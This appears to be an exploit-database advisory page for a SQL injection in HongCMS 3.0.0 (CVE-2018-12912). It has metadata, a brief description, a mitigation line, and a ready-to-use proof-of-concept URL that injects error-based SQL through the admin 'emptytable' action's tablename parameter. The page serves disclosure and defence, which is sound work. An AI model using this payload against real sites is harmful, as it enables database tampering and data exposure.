header-logo
Suggest Exploit
vendor:
HongCMS
by:
Hzllaga
7.2
CVSS
HIGH
SQL Injection
89
CWE
Product Name: HongCMS
Affected Version From: 3.0.0
Affected Version To: 3.0.0
Patch Exists: YES
Related CWE: CVE-2018-12912
CPE: a:neeke:hongcms:3.0.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: php5.4 mysql5
2018

HongCMS 3.0.0 – SQL Injection

HongCMS 3.0.0 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain administrator privileges by sending a specially crafted HTTP request to the vulnerable application. The request contains a malicious SQL query in the 'dbaction' parameter which can be used to execute arbitrary SQL commands in the back-end database.

Mitigation:

Developers should always sanitize user input and use parameterized queries to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: HongCMS 3.0.0 - SQL Injection
# Google Dork: [if applicable]
# Date: 2018/06/26
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/Neeke/HongCMS/
# Software Link: https://github.com/Neeke/HongCMS/
# Version: 3.0.0
# Tested on: php5.4 mysql5
# CVE : CVE-2018-12912

POC (Administrator Privilege):

/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60